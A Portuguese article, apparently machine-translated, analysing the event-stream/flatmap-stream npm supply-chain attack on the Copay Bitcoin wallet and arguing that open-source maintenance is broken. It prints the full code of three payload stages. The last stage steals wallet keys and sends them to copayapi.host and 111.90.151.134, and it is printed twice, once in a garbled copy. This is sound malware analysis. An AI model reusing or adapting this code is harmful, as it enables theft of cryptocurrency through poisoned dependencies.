No final de outubro, uma mensagem de
problema apareceu na extremamente popular ferramenta nodemon Node.js. O problema foi que o seguinte aviso foi exibido no console:
DeprecationWarning: crypto.createDecipher is deprecated
. Esses alertas sobre recursos desatualizados não são incomuns. Em particular, essa mensagem parecia bastante inofensiva. Ele nem se referia ao projeto nodemon em si, mas a uma de suas dependências. Essa ninharia poderia muito bem passar despercebida por qualquer pessoa, pois, em muitos casos, esses problemas são resolvidos por eles mesmos.

Cerca de duas semanas após a primeira menção desse problema,
Ayrton Sparling verificou tudo e descobriu que o motivo do aviso era um
novo vício bastante profundo. A mensagem veio de um pedaço estranho de código no final de um arquivo JavaScript minificado que não estava nas versões anteriores da biblioteca e que, de uma versão posterior, foi excluída. A pesquisa de Ayrton levou-o ao popular pacote npm de fluxo de eventos, que é baixado cerca de dois milhões de vezes por semana, e até recentemente estava sob o controle de um desenvolvedor de código aberto com boa reputação.
Alguns meses atrás, o controle do fluxo de eventos foi transferido para outra pessoa, um usuário pouco conhecido que
solicitou , por email, o direito de publicar o pacote. Isso foi feito legalmente. Em seguida, esse usuário atualizou o pacote de fluxo de eventos, incluindo a dependência de malware de fluxo de mapa plano em sua versão de patch e, depois disso, publicou uma nova versão principal do pacote sem essa dependência. Graças a isso, ele queria tornar a mudança menos perceptível. Novos usuários, com maior probabilidade de interesse em dependências, instalariam a versão mais recente do fluxo de eventos (4.x no momento da redação deste artigo). E os usuários cujos projetos dependiam da versão anterior do pacote instalariam automaticamente a versão do patch infectado na próxima vez em que executassem o comando
npm install
(isso leva em consideração a abordagem comum para configurar versões do pacote adequadas para atualizações).
Detalhes do incidente
O código malicioso do flatmap-stream foi configurado para funcionar com um arquivo de dados que, além de algumas linhas muito ofuscadas de forma trivial, continha dois fragmentos criptografados, que só podiam ser descriptografados sabendo a senha.
! function() { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString() } var n = r(e("2e2f746573742f64617461")), o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor; f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) } catch (r) {} }();
Chame esse fragmento de código
Payload A
Ele procura a senha na variável de ambiente
npm_package_description
definida por npm. Essa variável de ambiente contém uma descrição do pacote raiz, que permite que códigos maliciosos afetem apenas um pacote de destino específico. Jogada inteligente! Nesse caso, este pacote era o aplicativo cliente da
carteira Bitcoin da
Copay e a senha para descriptografar o código malicioso era a frase
A Secure Bitcoin Wallet (isso foi revelado pelo usuário do
gathub maths22 ).
Após o código da
Payload A
decodificar com êxito o primeiro dado, o código que chamamos de
Payload B
executado.
module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
Este código verificou se o script seria executado exclusivamente com um argumento de linha de comando específico, com algo que correspondesse ao padrão
build:*-release
. Por exemplo, pode parecer com o
npm run build:ios-release
. Caso contrário, o script não foi executado. Essa execução de código limitada a apenas três scripts para a construção de projetos usados no Copay. Ou seja, estamos falando de scripts responsáveis pela criação da
versão desktop do aplicativo e de suas versões para iOS e Android .
Em seguida, o script procurou outra dependência de aplicativo, a saber, ele estava interessado no arquivo
ReedSolomonDecoder.js
do pacote
@ zxing / library . O código de
Payload B
não executou este arquivo. Ele simplesmente injetou o código
Payload C
nele, o que levou ao fato de que esse código seria executado no próprio aplicativo, quando o
ReedSolomonDecoder
carregado. Aqui está o código
Payload C
! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e()
\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \ n2wIDAQAB \ n ----- END ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e()
Payload A
e a
Payload B
são projetadas para serem executadas no ambiente Node.js., no servidor de criação do projeto, mas a
Payload C
projetada para ser executada em um ambiente semelhante a um navegador sob o controle da estrutura
Cordova (anteriormente
PhoneGap ). Essa estrutura permite que você desenvolva aplicativos nativos para várias plataformas usando tecnologias da web - HTML, CSS e JavaScript. Os aplicativos clientes Copay (assim como os garfos deste projeto, como o
FCash ), projetados para várias plataformas, são criados usando o Cordova. É para esses clientes que o ataque é direcionado. Esses aplicativos nativos são para usuários finais da Copay que gerenciam suas carteiras Bitcoin com eles. Essas carteiras eram de interesse do atacante. O script enviou os dados roubados para copayapi.host e em 111.90.151.134.
Conclusões decepcionantes
Desenvolver o que acabamos de falar é uma tarefa assustadora. Esse hack exigiu uma pesquisa séria e um esforço considerável para conduzir um ataque. O invasor provavelmente também tinha opções de fallback que ele usaria se não pudesse obter o controle do pacote de fluxo de eventos. Considerando como o ataque foi organizado, parece plausível que o atacante tenha sido originalmente direcionado especificamente para Copay, e não apenas tenha ganhado o controle da biblioteca popular, e então estava pensando sobre o que deveria fazer com ele. A popularidade do fluxo de eventos sugere que o invasor tinha uma maneira fácil de acessar computadores importantes em centenas de empresas em todo o mundo. Felizmente, a ameaça foi rapidamente detectada e neutralizada, dado o tempo que poderia ter passado despercebido, mas pensando no que poderia ter nos levado à conclusão óbvia: o código aberto está gravemente doente.
Vamos fazer uma lista dos motivos que levaram ao incidente acima:
- O aplicativo (Copay) foi criado com base em muitas dependências diferentes, enquanto sua árvore de dependências não foi bloqueada.
- Mesmo levando em consideração que a árvore de dependências não foi bloqueada, as dependências não foram armazenadas em cache, elas foram carregadas do repositório a cada construção do projeto.
- Milhares de outros projetos dependem do fluxo de eventos, eles usam configurações iguais ou semelhantes.
- Quem apoiou a biblioteca, da qual milhares de projetos dependem, parou de trabalhar nela.
- Milhares de projetos usaram essa biblioteca gratuitamente. Ao mesmo tempo, esperava-se que eles a sustentassem sem nenhuma compensação material.
- Quem apoiou a biblioteca transferiu o controle para o desconhecido apenas porque ele perguntou sobre isso.
- Não houve notificações de que o projeto mudou de proprietário e, mesmo assim, milhares de projetos simplesmente continuaram usando o pacote apropriado.
- De fato, esta lista continua ...
É assustador até pensar sobre o dano que a invasão discutida por nós poderia causar. Por exemplo, projetos extremamente sérios dependem do fluxo de eventos. Por exemplo, a
CLI do
Microsoft Azure . Vulneráveis eram os computadores nos quais estão desenvolvendo este programa e os computadores nos quais ele é usado. Código mal-intencionado pode muito bem aparecer tanto nesses como em outros.
O problema aqui é que muitos projetos de software são construídos com base no que as pessoas que esperam fazê-lo trabalharão de graça. Eles criam programas úteis, estão envolvidos por algum tempo (ou talvez apenas os publicem e isso é tudo), e espera-se que apoiem seu desenvolvimento até o final dos tempos. Se isso não funcionar para eles, eles permanecem inativos, ignorando chamadas ou relatórios de vulnerabilidades em seus projetos (
culpados! ), Ou simplesmente entregando seus projetos a outras pessoas, esperando que eles possam sair e não se envolvam mais nele. Às vezes funciona. Às vezes não. Mas nada pode justificar as vulnerabilidades que, devido a esses fenômenos, aparecem no software. A propósito, até a detecção de um problema no fluxo de eventos, sua investigação e eliminação, foi realizada principalmente por voluntários de código aberto, cujo trabalho não é remunerado de forma alguma.
Tantas pessoas e organizações diferentes estão relacionadas ao que aconteceu que a busca por culpados específicos não faz muito sentido. O código aberto está gravemente doente e, quanto maior esse fenômeno, maior a probabilidade de desastres. Dado o potencial destrutivo do incidente discutido aqui, é uma sorte que o objetivo do invasor seja apenas um aplicativo.
Problemas semelhantes não estão limitados ao Node.js ou npm. Em ecossistemas relacionados, é observado um nível de confiança igualmente inapropriadamente alto em estranhos. Isso tem a ver com o PyPi no ambiente Python, RubyGems e GitHub também. Qualquer pessoa pode publicar nos serviços mencionados, sem qualquer notificação, transferindo o gerenciamento de seus projetos para qualquer pessoa. E mesmo sem ele, os projetos modernos usam tantos volumes de código de outras pessoas que uma análise completa do mesmo interromperia o trabalho de qualquer equipe por um longo tempo. Para cumprir os prazos apertados, os desenvolvedores instalam o que precisam e as equipes responsáveis pelas ferramentas de segurança e verificação automática de código simplesmente não acompanham o ritmo do desenvolvimento rápido de programas em constante mudança.
Caros leitores! Como você se sente sobre o recente incidente no fluxo de eventos?
